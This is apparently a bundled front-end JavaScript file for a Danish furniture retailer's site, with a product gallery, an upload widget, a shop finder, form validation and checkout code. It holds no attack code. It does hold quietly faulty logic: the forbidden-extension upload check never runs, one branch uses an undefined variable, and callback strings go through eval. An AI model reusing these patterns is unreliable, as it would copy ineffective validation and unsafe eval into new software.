		$("productgallery_thumbnails_container").insert('<div id="productgallery_thumbnail_selected"></div>');
		//listener
		$$("#productgallery_thumbnails_container img").invoke('observe', 'click', this.imageClick.bind(this));
	},

	imageClick: function(e, count) {
		var elm = e.element();
		var img = this.imageNumber(elm.readAttribute("class"));
		this.clicked = img;
		var newPictureSrc = this.pictures[img];
		switch(newPictureSrc.indexOf('-video.flv') > -1) {
			case true:
				var vidArr = newPictureSrc.split('.', 1);
				var newVideoSrc = vidArr;
				this.loadVideo(newVideoSrc);
				$('productgallery_image').hide();
				$('productgallery_video').show();
			break;
			default:
				var newPictureSrc = this.pictures[img];
				$("productgallery_image").src = newPictureSrc;
				if (newPictureSrc.indexOf('/768x384/') > -1) {
					$("productgallery_image").setStyle({
						'width': '768px',
						'height': '384px'
					});
				} else {
					$("productgallery_image").setStyle({
						'width': '384px',
						'height': '384px'
					});
				}
				$('productgallery_image').show();
				$('productgallery_video').hide();
			break;
		}
		this.updateInfo();
		var newX = elm.up().getStyle('left');
		new Effect.Morph($("productgallery_thumbnail_selected"), {
			style: 'left:' + newX,
			duration: 0.5
		})
	},
	imageNumber: function(id) {
		return id.split("image_").join("");
	},
	updateInfo: function(id) {
		$("productgallery_info").show();
		var templ = new Template(this.info);
		$("productgallery_info").update(templ.evaluate({
			num: (Number(this.clicked) + 1),
			total: this.total
		}));
	},
	nextThree: function() {
		if (this.showing < (this.total / 3)) {
			new Effect.Move($('productgallery_thumbnails_container'), {
				x: -(3 * 78),
				y: 0,
				"mode": "relative"
			});
			this.showing++;
			$("productgallery_left").removeClassName("disabled");
			if (this.showing > (this.total / 3)) {
				$("productgallery_right").addClassName("disabled");
			}
		} else {
			$("productgallery_right").addClassName("disabled");
		}
	},
	previousThree: function() {
		if (this.showing > 1) {
			new Effect.Move($('productgallery_thumbnails_container'), {
				x: (3 * 78),
				y: 0,
				"mode": "relative"
			});
			this.showing--;
			$("productgallery_right").removeClassName("disabled");
			if (this.showing < 2) {
				$("productgallery_left").addClassName("disabled");
			}
		} else {
			$("productgallery_left").addClassName("disabled");
		}
	},
	loadVideo: function(videoSrc) {
		if (site.hasFlash()) {
			var flashvars = {
				'file': videoSrc+".flv",
				'fullscreen': "false",
				'autostart': "false",
				'controlbar': "true",
				'screencolor': "#FFFFFF",
				'stretching': "uniform",
				'volume': "80",
				'image': videoSrc+".jpg",
				'plugins': "gapro-1",
				'gapro.accountid': "UA-12685907-1",
				'gapro.trackstarts': "true",
				'gapro.trackpercentage': "true",
				'gapro.tracktime': "true",
				'link': videoSrc+".flv"
			};
			var params = {
				'quality': "autohigh",
				'wmode': "transparent",
				'allowfullscreen': "true",
				'allowscriptaccess': "always"
			};
			var attributes = {};
			attributes.id = "mpl_video";
			swfobject.embedSWF(
				"/files/system/js/flvplayer/flvplayer.swf",
				"mpl_video",
				"576",
				"288",
				"9.0.0", false,
				flashvars, params, attributes);
	    }
	}
});

if ( Object.isUndefined(CodeCompany) ) { var CodeCompany = { }; }

CodeCompany.AsyncColorSamples = Class.create({
	initialize: function(options)
	{
		this.itemids = [];

		this.options = Object.extend({
			successCallback: Prototype.emptyFunction,
			overviewType: 'normal',
			async: true
		}, options || { } );
		
		this.templates = 
		{
			normal: 
			{
				colors: new Template('<h2>Populære farver</h2> #{colorpairs}'),
				colorsample: new Template('<div class="colorsample"><img src=#{thumbnail} alt=""/><!--${fullsize} --></div>')
			}
		};
	},
	
	setSuccessCallback: function(fn)
	{
		this.options.successCallback = fn;
	},
	
	addItemId: function(itemid)
	{
		this.itemids.push(itemid);
	},
	
	render: function()
	{
		dk.ide.webservice.ProductService.GetColorSamples(servicetoken, site.viaProperties._object.ElementId, this.onSuccess.bind(this));
	//Get them colors and do stuff onSuccess
	},
	
	onSuccess: function(result)
	{
		var colors='';
		var d = (!Object.isUndefined(result.d))?result.d:result;
		data = d.colors;
		//markup = this.templates[this.options.overviewType].colors.evaluate(d);
       
			switch ( this.options.overviewType )
			{
				
				case 'normal':
					if(d.hasColors){
					//show'em
					 data.each(function (ColorPair) {
                colors += '<div class="colorsample"><img src="'+ColorPair.thumbnail+'" alt="" style="width:36px;cursor:pointer;" onclick="popImg(\''+ColorPair.fullsize+'\','+1340+');"/><!--'+ColorPair.fullsize+' --></div>';
        });
					$('colors').update(colors);
					$('new_farver').setStyle('display:block');
					}
				break;
				
				default:
					document.fire('custom:fontreplace');
				break;
			}
		
		this.options.successCallback.delay();
	}
});if ( Object.isUndefined(Klean) ) { var Klean = { }; }
if ( Object.isUndefined(Klean.ASUWs) ) { Klean.ASUWs = new Hash(); }

Klean.AsyncUploadWidgetV2 = Class.create({
	initialize: function(target, action, options)
	{
		this.uploading = false; // flag for uploading
		
		this.options = Object.extend({
			// callbacks
			onUploadStart: Prototype.emptyFunction,
			onUploadComplete: Prototype.emptyFunction,
			onUploadFailed: Prototype.emptyFunction,
			onFileSelected: Prototype.emptyFunction,
			
			onInvalidFileExtension: Prototype.emptyFunction, // callback if filetype is invalid
			onValidFileExtension: Prototype.emptyFunction, // callback if filetype is valid
			
			onValidate: function(){ return true; }, // provided for backwards compatibility with AsyncUploadWidget
			
			autoSubmit: true, // if set to true, the upload will begin right after a file is selected
			
			uploadingHTML: 'Uploading...',
			allowedFileExtensions: ['jpg','jpeg','png','pdf'], // if empty array then all filetypes are allowed. values are part of regexp
			forbiddenFileExtensions: [], // ['exe', 'com', 'bat']
			
			illegalFilenameCharacters: '\\/\\\\:\\*\\?"<>|;%&,\\+\\$@\\[\\]#',
			illegalCharactersHTML: '<span class="fileerror" style="color: red">Filename cannot contain #{illegalCharacters}</span>',

			containerElement: undefined
		}, options || { });
		
		this.options.localization = Object.extend({
			invalidFile: 'This filetype cannot be used here',
			forbiddenFile: 'This filetype is forbidden'
		}, options.localization || { });
		
		this.target = $(target);

		// Find out where the created element goes
		this.containerElement = (this.options.containerElement !== undefined ? this.options.containerElement : $$('body').first());

		// Create and insert containing element
		this.body = new Element('div');
		this.body.addClassName('asyncuploadwidget');
		this.containerElement.insert({'bottom': this.body});

		// Using template. Creating and inserting elements didn't work for IE
		var formTemplate = new Template(
			'<form method="post" id="uploadform_#{uploadId}" action="#{action}" enctype="multipart/form-data" target="uploadiframe_#{uploadId}">'+
			'<input type="file" name="file_#{uploadId}" id="file_#{uploadId}" />'+
			'<input type="hidden" name="uploadId" value="#{uploadId}" />'+
			'</form>'+
			'<div id="msgcontainer_#{uploadId}" class="ASyncUploadMessage" style="padding: 4px; display:none">&nbsp;</div>'
		);
		
		// insert uploading iframe
		this.body.insert({
			'bottom': new Element('iframe', {id:'uploadiframe_'+this.target.identify(), name:'uploadiframe_'+this.target.identify(), style:'display:none;'})
		});
		
		// Add form to document
		this.body.insert({
			'bottom':	formTemplate.evaluate({
							uploadId: this.target.identify(),
							action: action
						})
		});
		
		// hijack target element
		// this function is deferred to allow the browser to update the DOM
		(function(){ 
			this.uploadForm = $('uploadform_'+this.target.identify());
			
			// insert "spaceholder" to preserve room taken by input control..
			this.spacer = new Element('div').update('&nbsp;');
			this.target.up().insert(this.spacer, {before: this.target});
			 
			(function(){
				this.spacer.clonePosition(this.target);

				this.fileElement = $('file_'+this.target.identify()); 
				// resize and position file element
				this.fileElement.absolutize();
				
				/*
				// this.fileElement.clonePosition(this.spacer); // IE is not able to use cloneposition here
				this.fileElement.setStyle({
					top: this.spacer.getStyle('top'),
					left: this.spacer.getStyle('left'),
					height: this.spacer.getStyle('height'),
					width: this.spacer.getStyle('width')
				});*/
				this.fileElement.clonePosition(this.target); // using patched prototype - see case 2184
				
				this.msgContainer = $('msgcontainer_'+this.target.identify());
				this.msgContainer.absolutize();
				
				/*
				// this.msgContainer.clonePosition(this.fileElement);
				this.msgContainer.setStyle({
					top: this.spacer.getStyle('top'),
					left: this.spacer.getStyle('left'),
					height: this.spacer.getStyle('height'),
					width: this.spacer.getStyle('width')
				});*/
				this.msgContainer.clonePosition(this.target); // using patched prototype - see case 2184
		
				// hide target element
				this.target.hide();
				// bind events
				this.fileElement.observe('change', this._fileElementChange.bindAsEventListener(this));
			}).bind(this).defer();
			
		}).bind(this).defer();
		
		this.uploadResults = [];
	},
	
	reset: function()
	{
		this.msgContainer.hide();
		this.uploadForm.reset();
		this.fileElement.show();
		this.uploading = false;
		this.reposition();
	},

/*	
	//
	// Callbacks from upload iframe
	//
	uploadCompleteIFrameCallback: function(returnOptions)
	{
		this.reset();
		this.options.onUploadComplete(returnOptions);
	},
	
	uploadFailedIFrameCallback: function(returnOptions)
	{
		this.reset();
		this.options.onUploadFailed(returnOptions);
	},
*/
	
	addUploadResult: function(result)
	{
		// result is an object: { success: (true/false), message, fileURL, fileId }
		// if success is true, fileURL and fileId must be valid
		// if success is false, message must be valid
		this.uploadResults.push(result);
	},
	
	executeCallback: function()
	{
		// for backwards compatibility, this checks only for success on first file
		
		if ( this.uploadResults.size() > 0 )
		{
			this.reset();
			if ( this.uploadResults[0].success )
			{    
				this.options.onUploadComplete({ fileURL: this.uploadResults[0].fileURL, fileId: this.uploadResults[0].fileId, uploads: this.uploadResults.clone() });
			}
			else
			{
				this.options.onUploadFailed({ message: this.uploadResults[0].message, uploads: this.uploadResults.clone() });
			}
		}
	},
	
	_fileElementChange: function(e)
	{
		this.options.onFileSelected();
		
		if ( this.options.autoSubmit )
		{
			this.submit();
		}
	},
	
	checkAllowedFileTypes: function()
	{
		var retval = true; // default value if no allowedFileExtensions set 
		var reason = '';
		
		if ( this.options.allowedFileExtensions.size() > 0 )	
		{
			retval = false; // default value if one or more allowedFileExtensions are set.
			i = 0;
			
			while ( !retval && i < this.options.allowedFileExtensions.size() )
			{
				var rExp = new RegExp('\.'+this.options.allowedFileExtensions[i] + '$', 'i');
				retval = rExp.test(this.fileElement.value);
				i++;
			}
			
			if ( !retval ) { reason = this.options.localization.invalidFile; }
		}
		
		if ( retval && this.options.forbiddenFileExtensions.size() > 0 )
		{
			i = 0;
			while ( !retval && i < this.options.forbiddenFileExtensions.size() )
			{
				var rExp = new RegExp('\.'+this.options.forbiddenFileExtensions[i] + '$', 'i');
				retval = !(rExp.test(this.fileElement.value));
				i++;
			}
			
			if ( !retval ) { reason = this.options.localization.forbiddenFile; }
		}
		
		if ( retval )
		{
			this.options.onValidFileExtension();
		}
		else
		{
			this.options.onUploadFailed({ message: reason });
			this.reset();
			this.options.onInvalidFileExtension();
		}
		
		return retval;
	},
	
	checkLegalFilename: function()
	{
		var found = [];
		var filename = this.fileElement.value.split('/').last();
		if ( filename === this.fileElement.value )
		{
			filename = this.fileElement.value.split('\\').last();
		}
		
		filename.scan('(['+this.options.illegalFilenameCharacters+']{1})', function(match) {
			if ( found.indexOf(match[0]) == -1 )
			{
				found.push(match[0]);
			}
		});
		
		if ( found.size() > 0 )
		{
			this.options.onUploadFailed({ 
				message: new Template(this.options.illegalCharactersHTML).evaluate({ 
					illegalCharacters: found.join(' ') 
				})
			});
			
			return false;
		}
		
		return true;
	},
	
	submit: function()
	{
		if ( this.options.onValidate() )
		{
			if ( this.checkLegalFilename() )
			{
				if ( this.checkAllowedFileTypes() )
				{
					this.uploadResults = [];
					this.options.onUploadStart();
					this.fileElement.hide();
					this.msgContainer.update(this.options.uploadingHTML).show();
			
					this.uploading = true;
					$('uploadform_'+this.target.identify()).submit();
				}
			}
		}
	},
	
	getUploadId: function()
	{
		return this.target.identify();
	},
	
	isUploading: function()
	{
		return this.uploading;
	},
	
	reposition: function()
	{
		this.target.show();
		this.fileElement.clonePosition(this.target); // using patched prototype - see case 2184
		this.target.hide();
		/*
		// case 1658: IE can't reposition using Element.clonePosition
		this.fileElement.setStyle({
			top:  this.spacer.getStyle('top'),
			left: this.spacer.getStyle('left')
		});
		*/
	},
	
	destroy: function()
	{
		this.fileElement.remove();
		this.uploadForm.remove();
		this.spacer.remove();
		this.msgContainer.remove();
	}
});
if (Object.isUndefined(CodeCompany)) {
	var CodeCompany = {
	};
}

CodeCompany.AsyncProductShopfinder = Class.create({
	initialize: function (options) {
		this.shopid = "";
		
		this.options = Object.extend({
			successCallback: Prototype.emptyFunction,
			overviewType: 'normal',
			async: true
		},
		options || {
		});
		
		this.templates = {
			normal: {
				shop: new Template(
				'<div id="shopinfo" class="contentsection shopinfo">' +
				'<h2 style="float:left;">Nærmeste butik</h2>' +
				'<a href="#" onclick="javascript:$(\'shopinfo\').hide();$(\'shopplaceholder\').removeClassName(\'contentsectioncontainer\');" style="float:right;">» skjul butik</a>' +
				'<a href="/butikker+og+åbningstider"style="float:right;margin-right:10px;">» vis alle butikker</a>'+
				'<div class="clear"><!----></div>' +
				'<div style="float: left;">' +
				'<span>#{butiksnavn}</span><br />' +
				'<span>#{butikadresse}</span><br />' +
				'<span>#{butik_postnummer}&nbsp;#{butik_by}</span><br />' +
				'<span>Telefon: #{butiktlf}</span><br />' +
				'<span>Telefax: #{butikfax}</span><br />' +
				'<span>E-mail: <a href="mailto:#{butiksemail}">#{butikemail}</a></span>' +
				'</div>' +
				'<div style="float: left; margin-left: 64px; width: 200px;">' +
				'<span class="daycol">Mandag</span><span>#{tidmandagfra}&nbsp;-&nbsp;#{tidmandagtil}</span><br />' +
				'<span class="daycol">Tirsdag</span><span>#{tidtirsdagfra}&nbsp;-&nbsp;#{tidtirsdagtil}</span><br />' +
				'<span class="daycol">Onsdag</span><span>#{tidonsdagfra}&nbsp;-&nbsp;#{tidonsdagtil}</span><br />' +
				'<span class="daycol">Torsdag</span><span>#{tidtorsdagfra}&nbsp;-&nbsp;#{tidtorsdagtil}</span><br />' +
				'<span class="daycol">Fredag</span><span>#{tidfredagfra}&nbsp;-&nbsp;#{tidfredagtil}</span><br />' +
				'<span class="daycol">Lørdag</span><span>#{tidlordagfra}&nbsp;-&nbsp;#{tidlordagtil}</span><br />' +
				'<span class="daycol">Søndag<strong>*</strong></span><span>#{tidsondagfra}&nbsp;-&nbsp;#{tidsondagtil}</span><br />' +
				'<span id="openings"><strong>*</strong>#{sondag}</span>' +
				'</div>' +
				'<img width="288" height="144" class="shopimage" src="/files/ide.dk/butikker/facadefotos/288x144/#{butiksnr}.jpg" alt="idemøbler"/>' +
				'<div class="clear"><!----></div>' +
				'</div>')
			}
		};
	},
	
	setSuccessCallback: function (fn) {
		this.options.successCallback = fn;
	},
	setShopId: function (id) {
		this.shopid = id;
	},
	render: function () {
		var zip = $F('shopfind_zipcode');
		dk.ide.webservice.zipservice.GetNearestShopInfo(zip, this.onSuccess.bind(this), this.fail.bind(this));
		//Get them colors and do stuff onSuccess
	},
	
	onSuccess: function (result) {
		var d = (! Object.isUndefined(result.d))? result.d: result;
		data = d;
		this.shopid = data.butiksnr;
		if (! data.error) {
			$('shopfind_zipcode').removeClassName('error');
			markup = this.templates[ this.options.overviewType].shop.evaluate(d);
			$('shopplaceholder').update(markup);
			$('shopplaceholder').addClassName('contentsectioncontainer');
			//  $('shopplaceholder').setStyle('display:block');
			//Find næste søndagsåbent
			if (data.sondagsopen == '1') {
				//Set op async stuff & replace proper:
				var url = '/systemservice/sundays?json=1';
				new Ajax.Request(url, {
					method: 'get',
					onSuccess: (function (transport) {
						doc = transport.responseText.evalJSON()[0];
						str = '<span id="sondag"><strong>*</strong>Næste søndagsåbent: ' + doc.day + '.' + doc.month + '.' + doc.year + ' </span>';
						$('openings').replace(str);
					}).bind(this),
					onError: (function (transport) {
						this.log('JSON request failed: ' + url);
					}).bind(this)
				});
			}
			//Byg egne søndagsåbningsdage:
			if (data.sondagsopen == '0') {
			shopdoc = transport.responseText.evalJSON()[0]['Data'];
				sondag = 'Søndagsåbent på følgende datoer: ';
				for (var i = 1; i <= 12; i++) {
					field = 'sondag_' +('0'.times(2) + i.toString()).slice(- 2);
					sondag += (shopdoc[field] != '')? shopdoc[field] + ' ': '';
				}
			}
			//ikke søndagsåbent:
			if (data.sondagsopen == '2') {
				str = '* NB! Butikken har ikke søndagsåbent';
				$('openings').replace(str);
			}
			new Effect.BlindDown($('shopplaceholder'), {
				duration: 3
			});
		} else {
			$('shopfind_zipcode').addClassName('error');
		}
	},
	fail: function (result) {
		//alert('fail: '+result);
		$('shopfind_zipcode').addClassName('error');
	}
});
CodeCompany.Forms2checkout = Class.create({
	ignoreevents: false,
	log: function(logStr) {
		if (!Object.isUndefined(site)) {
			//site.log('CodeCompany.Forms2checkout['+this.form.id+'].'+logStr);
		}
	},
	initialize: function(formId, options) {
		this.form = $(formId);
		this.validation = {};
		this.log('initialize()');
		
		this.options = Object.extend({
			onPostValidationSubmit: function() { return true; }
		}, options || {});
		
		//new Form.Observer(this.form,0.75,this.onChange.bindAsEventListener(this));
		this.form.observe('submit',this.onSubmit.bindAsEventListener(this));
	},
	onSubmit: function(event) {
		if (!this.validateForm()) {
			Event.stop(event);
			return false;
		}
		if ( !this.options.onPostValidationSubmit() )
		{
			Event.stop(event);
			return false;
		}
	},
	onBlur: function(event) {
		var element = event.element();
		this.validateField(element.id,false);
	},
	observeField: function(fieldId) {
		this.log('observeField('+fieldId+')');
		this.validation[fieldId].field.observe('blur',this.onBlur.bindAsEventListener(this));
	},
	addRequired: function(fieldId,message) {
		this.log('addRequired("'+fieldId+'","'+message+'")');
		this.validation[fieldId] = Object.extend({
			field: $(fieldId),
			message: message,
			required: true
		},this.validation[fieldId] || {});
		this.observeField(fieldId);
	},
	addRegexp: function(fieldId,regexp,message) {
		this.log('addReqExp("'+fieldId+'","'+regexp+'","'+message+'")');
		this.validation[fieldId] = Object.extend({
			field: $(fieldId),
			message: message,
			regexp: regexp
		},this.validation[fieldId] || {});	
		this.observeField(fieldId);
	},
	validateField: function(fieldId,showError) {
		var validation = this.validation[fieldId];
		var validated = true;
		var value = validation.field.value.replace(/^\s+|\s+$/,'');
		if (validated && validation.required && (value=='')) {
			validated = false;
		}
		if (validated && (validation.regexp!==undefined) && (value.match(validation.regexp)==null)) {
			validated = false;
		}
		this.log('validateField('+fieldId+') = '+validated);
		
		// parent
		thisParent = validation.field.ancestors();
		if (validated) {
			validation.field.removeClassName('error').addClassName('validated');
 			if (thisParent[0] != undefined) { thisParent[0].removeClassName('error').addClassName('validated'); }
		} else {
			validation.field.removeClassName('validated');
			if (thisParent[0] != undefined) { thisParent[0].removeClassName('validated').addClassName('error'); }
			if (showError) {
				validation.field.addClassName('error');
			}
		}
		if (!validated)  { this.form.addClassName('error'); } /*else { this.form.removeClassName('error'); this.form.addClassName('validated'); }*/
		return validated;
	},
	validateFieldShowError: function(fieldId) {
	},
	validateForm: function() {
		this.ignoreevents = true;
		var validated = this.validateFormRaw();
		this.ignoreevents = false;
		this.log('validateForm() = '+validated);
		this.form.removeClassName('error');
		this.form.removeClassName('validated');
		if (validated) { this.form.removeClassName('error');this.form.addClassName('validated'); } else { this.form.addClassName('error');this.form.removeClassName('validated'); }
		return validated;
	},
	validateFormRaw: function() {
		this.log('validateFormRaw()');
		var errors = 0;
		Object.keys(this.validation).each(function(key){
			var field = $(key);
			if (!this.validateField(key,true)) { errors++; }
		},this);
		return errors==0;
	}
});

/*** Functions called by Forms2 Module ***/

/*
function AddRequiredValidation(fieldId,message) { return CodeCompany.Forms2.addRequired(fieldId,message); }
function AddRegexValidation(fieldId,regexp,message) { return CodeCompany.Forms2.addRegexp(fieldId,regexp,message); }
function ValidateForm(message) { return CodeCompany.Forms2.validateForm(message); }
*/

try{

// Simple cookie reader
function getCookie(c_name) {
	var i, x, y, ARRcookies = document.cookie.split(";");
	for (i = 0; i < ARRcookies.length; i++) {
		x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
		y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
		x = x.replace(/^\s+|\s+$/g, "");
		if (x == c_name) {
			return unescape(y);
		}
	}
}

var popCheck = '';
var sendFormListen = '';
var globalBasketID = getCookie("BasketId");
// set global Startdate
var globalStartDate = new Date();
var globalCalStartDate = new Date();
var globalBasketHeader = '';
var tempBasket = '';
// validation tab #2
var globalErrors = 0;
var errorZipInvalid = 0;
var errorRouteInvalid = 0;

// Load popup and content
var checkout = Class.create({
	initialize: function () {
		// code to execute - insert content
		site.log("Checkout: class initialized");
		var checkoutdiv = document.createElement('div');
		Element.extend(checkoutdiv);
		checkoutdiv.writeAttribute('id', 'checkout');
		checkoutdiv.addClassName('pending').hide();
		// insert it in the document
		document.body.appendChild(checkoutdiv);
		site.log('checkout: container set');
	},
	load: function (pId) {
		// code to execute - show
		new Ajax.Request(pId, {
			method: 'get',
			onSuccess: function (transport) {
				var response = transport.responseText || "no response text";
				// update status
				$('checkout').update(response).removeClassName('pending');
				site.log('checkout: content loaded');
				popCheck = new OverlayWindow('checkout');
				popCheck.show();
				chainWindowLoaded.addFunction(function(){
				document.fire('custom:googletrack', { trackUrl: '/checkout/varer.html' });
				},'trackingcheckout',100001);
				//	uploads = [];
				// pageTracker._trackPageview("/fordele/book+en+boligstylist2/step1.html");
				////document.fire('custom:googletrack', { trackUrl: '/fordele/book+en+boligstylist2/step1.html' });
				// site.log('checkout: pop overlay');
				//alert("Success! \n\n" + response);
			},
			onFailure: function () {
				// site.log('checkout: load failed');
				$('checkout').update('Der opstod en fejl').addClassName('fail');
				$('checkout').removeClassName('pending');
			}
		});
		// refurbish page
		//document.fire("custom:contentrefresh");
	}
});

function loadShoppingCart() {
	new Ajax.Updater('receiver', '/systemservice/checkout/varer?c=1', {
		onComplete: loadShoppingCartDone
	});
}
function loadShoppingCartDone() {
	showItemsInCheckout();
}

// Load any page to target in DOM
var ajaxloadCheckout = Class.create({
	initialize: function () {
		// set up the class
	},
	load: function (pId, target, pType, place, callback) {
		
		// code to execute - insert content
		var newTarget = $(target);
		Element.extend(newTarget);
		newTarget.addClassName('pending');
		// code to execute - show
		new Ajax.Request(pId, {
			method: pType,
			onSuccess: function (transport) {
				var response = transport.responseText || "Siden svarer ikke - prøv venligst igen!";
				// update status
				if (place == 'top') {
					newTarget.insert({
						top: response
					}).removeClassName('pending');
				}
				if (place == 'bottom') {
					newTarget.insert({
						bottom: response
					}).removeClassName('pending');
				}
				if (place == 'update') {
					newTarget.update(response).removeClassName('pending');
				}
				
				eval(''+callback);
				newTarget.removeClassName('pending');
				(function(){ document.fire('custom:refreshCufon'); }).defer();
			},
			onFailure: function () {
				// update status
				newTarget.update('This element is currently not available').addClassName('fail');
				newTarget.removeClassName('pending');
			}
		});
	}
});

// generic ajax-function init
var loadElement = new ajaxloadCheckout();

// Load any form to target
var ajaxloadFormCheckout = Class.create({
	initialize: function (target, pForm) {
		// code to execute - insert content
		// site.log('bookstyle: ajax initiated');
		var newTarget = $(target);
		Element.extend(newTarget);
		// code to execute - show
		// site.log(pForm);
		$(pForm).request({
			parameters: {
				c: 1
			},
			onCreate: function (transport) {
				$(target).addClassName('pending');
			},
			onComplete: function (transport) {
				var response = transport.responseText || "Siden svarer ikke - prøv venligst igen!";
				$(target).update(response);
				$(target).removeClassName('pending');
			},
			onFailure: function () {
				// site.log('bookstyle: load failed');
				$(target).update('Der opstod desværre en fejl i afsendingen').addClassName('fail');
				$(target).removeClassName('pending');
			}
		});
	}
});

var togglePages = Class.create({
	initialize: function () {
		// init class
	},
	toggleTabs: function (elm, index) {
		menuItems = $$('li.unlocked').toArray();
		// remove active classes
		if (elm.hasClassName('unlocked')) {
			if ($('handelsdiv').hasClassName('open')) {
				blindService('handel_btn', 'handelsdiv', 'true', 'false');
				blindService('handel_btn', 'receiver', 'true', 'false');
				blindService('handel_btn', 'handel_toggler', 'true', 'true');
			}
			menuItems.invoke('removeClassName', 'active');
			site.log('checkout: ' + index);
			i = index + 1;
			//document.fire('custom:googletrack', { trackUrl: '/checkout/step'+i+'.html' });
			// set active class
			menuItems[index].addClassName('active');
		}
	}
});

var togglePg = new togglePages('togglePg');

var releaseForm = Class.create({
	initialize: function (formID, functionCall, targetID, releaseInterval, stopItems, stopItemsClass) {
		// init class
		var stopArr = stopItems.split(',');
		
		this.formID = new PeriodicalExecuter(function (pe) {
			// observe all stop-elements
			var classArr = stopItemsClass.split(',');
			for (x in stopArr){
				//site.log('check: stopArr: ' + stopArr[x] + '/' + classArr[x] + '/'+($(stopArr[x]).hasClassName(classArr[x])));
				if ($(stopArr[x].toString()) != undefined) { 
					var stopids = stopArr[x].toString();
					var stopclasses = classArr[x].toString();
					var valid = $(stopids).hasClassName(stopclasses);
					//var valid = $('tab3').hasClassName('active');
					if (valid) {
						pe.stop();
					} else {
						// formcheck
						eval(functionCall.validateForm());
					}
				}
			}
		},releaseInterval);
	}
});

/*** hover states  ***/

var stateObserver = Class.create({
	initialize: function (options) {
		this.options = Object.extend({
			'elementSelector': '.hoverit',
			'className': 'hover',
			'clickName': 'click',
			'startEvent': 'mouseenter',
			'stopEvent': 'mouseleave',
			'downEvent': 'mousedown',
			'upEvent': 'mouseup'
		},
		options || {
		});
		var elements = 0;
		$$(this.options.elementSelector).each(function (element) {
			Event.observe(element, this.options.startEvent, this.onStart.bindAsEventListener(this, element));
			Event.observe(element, this.options.stopEvent, this.onStop.bindAsEventListener(this, element));
			Event.observe(element, this.options.downEvent, this.onDown.bindAsEventListener(this, element));
			Event.observe(element, this.options.upEvent, this.onUp.bindAsEventListener(this, element));
			elements++;
		},
		this);
	},
	onStart: function (event, element) {
		element.addClassName(this.options.className);
	},
	onDown: function (event, element) {
		element.addClassName(this.options.clickName);
	},
	onUp: function (event, element) {
		element.removeClassName(this.options.clickName);
	},
	onStop: function (event, element) {
		element.removeClassName(this.options.className);
	}
});

var observeAll = new stateObserver();

var harvestForm = Class.create({
    initialize: function () {
    },
    watch: function (getItem, pasteItem, pasteItemStr) {
        var callThis = '';
        callThis = $(getItem).observe('change', function (event) {
        	//alert('check, form-field delivery:' + $F('delivery'));
            if ($F('delivery') != 'yes') { this.transfer(getItem, pasteItem, pasteItemStr); }
        }.bind(this));
    },
    transfer: function (c, p, s) {
        site.log('bookstyle: Update field: '+ p );
        site.log('bookstyle: Update string in: '+ s );
        $(p).value = $(c).value; // update field
        site.log('bookstyle: transferred value: '+$(p).value + ' ('+ $(c).name+'/'+ $(p).name+')');
        if (s != '') {$(s).update($F(c));} // update strings
    }
});

chainWindowLoaded.addFunction(function(){
	// Observe mouse-enter/leave
	/*function addHover(){
	new stateObserver();
	};
	addHover.delay(1.5);*/
}, 'stateObserver', 999);

function alignActions() {
	site.log('checkout align: ' + $('check_content').getStyle('height'));
	if ($('check_content').getHeight() > 488) {
		$('check_right').setStyle({
			height: ($('check_content').getHeight() + 35) + 'px'
		});
	} else {
		$('check_right').setStyle({
			height: '523px'
		});
	}
};

function accordionService(toggler, item, collapse) {
	if (collapse != 'collapse') {
		var togglers = $$(toggler);
		var items = $$(item);
		site.log('check:' + items + ' / ' + togglers);
		togglers.each(function (element, index) {
			site.log('check: ' + index + ' add:' + element);
			element.observe('click', function (e) {
				site.log('check: accordion clicked');
				items.each(function (obj) {
					obj.toggleClassName('open');
					obj.toggleClassName('closed');
					Effect.toggle(obj, 'blind', {
						duration: 0.2
					});
				});
				togglers.each(function (obj) {
					obj.toggleClassName('on');
					obj.toggleClassName('off');
				});
				alignActions.delay(0.3);
			},
			togglers[index], 888);
		});
	}
};


function blindService(toggler, item, instant, changetoggler) {
	site.log('blind item: ' + toggler + '/' + item + '/' + instant);
	if (instant != 'true') {
		$(toggler).observe('click', function (e) {
			site.log('blind observer: ' + toggler + '/' + item + '/' + instant)
			Effect.toggle(item, 'blind', {
				duration: 0.2, queue: {
					position: 'end', scope: 'checkout', limit: 4
				}
			});
			$(item).toggleClassName('open');
			$(item).toggleClassName('closed');
			if (changetoggler == 'true') {
				$(toggler).toggleClassName('on');
				$(toggler).toggleClassName('off');
			}
			alignActions.delay(0.5);
			alignActions.delay(1.5);
		},
		toggler + item, 888);
	} else {
		site.log('blind executer: ' + toggler + '/' + item + '/' + instant)
		Effect.toggle(item, 'blind', {
			duration: 0.2, queue: {
				position: 'end', scope: 'checkout', limit: 4
			}
		});
		$(item).toggleClassName('open');
		$(item).toggleClassName('closed');
		if (changetoggler == 'true') {
			$(toggler).toggleClassName('on');
			$(toggler).toggleClassName('off');
		}
		alignActions.delay(0.5);
	}
};

function menuActions(items, item) {
	pItems = $$(items);
	pItems.each(function (element) {
		element.removeClassName('selected');
	});
	$(item).addClassName('selected');
};


/* tab2 functions */



/*********************************************************
******************     templates    *********************
*********************************************************/

if (Object.isUndefined(HarvestProducts)) {
	var HarvestProducts = {
	};
}

HarvestProducts = {
	templates: {
		BS_Table: new Template('' + '#{wrapstart}#{rows}#{wrapend}'),
		BS_TableCol: new Template(
		'#{productNum} #{productName}, #{productCount} stk. - #{productPrice}<br/>')
	}
};

if (Object.isUndefined(resumeHarvestProducts)) {
	var resumeHarvestProducts = {
	};
}

resumeHarvestProducts = {
	templates: {
		BS_Table: new Template('' + '#{wrapstart}#{rows}#{wrapend}'),
		BS_TableCol: new Template(
		'<tr><td class="desc">#{productName}</td><td class="pieces">#{productCount} stk.</td><td class="price">#{productPrice}</td></tr>')
	}
};

if (Object.isUndefined(shopListItems)) {
	var shopListItems = {
	};
}

shopListItems = {
	templates: {
		BS_Table: new Template('' + '#{wrapstart}#{rows}#{wrapend}'),
		BS_TableCol: new Template(
		'<option #{butik_match} value="#{butik_nr}">#{butik_navn}</option>')
	}
};

/*********************************************************
******************    observers    *********************
*********************************************************/

function preWeek(e) {
	Event.stop(e);
	if (Event.element(e).hasClassName('active')) {
		moveDates('pre');
	}
	//site.log('bookstyle: click pre');
}

function nxtWeek(e) {
	Event.stop(e);
	if (Event.element(e).hasClassName('active')) {
		moveDates('nxt');
	}
	//site.log('bookstyle: click nxt');
}

function mOver(e) {
	Event.element(e).addClassName('hover');
}
function mOut(e) {
	Event.element(e).removeClassName('hover');
}
function mClick(e) {
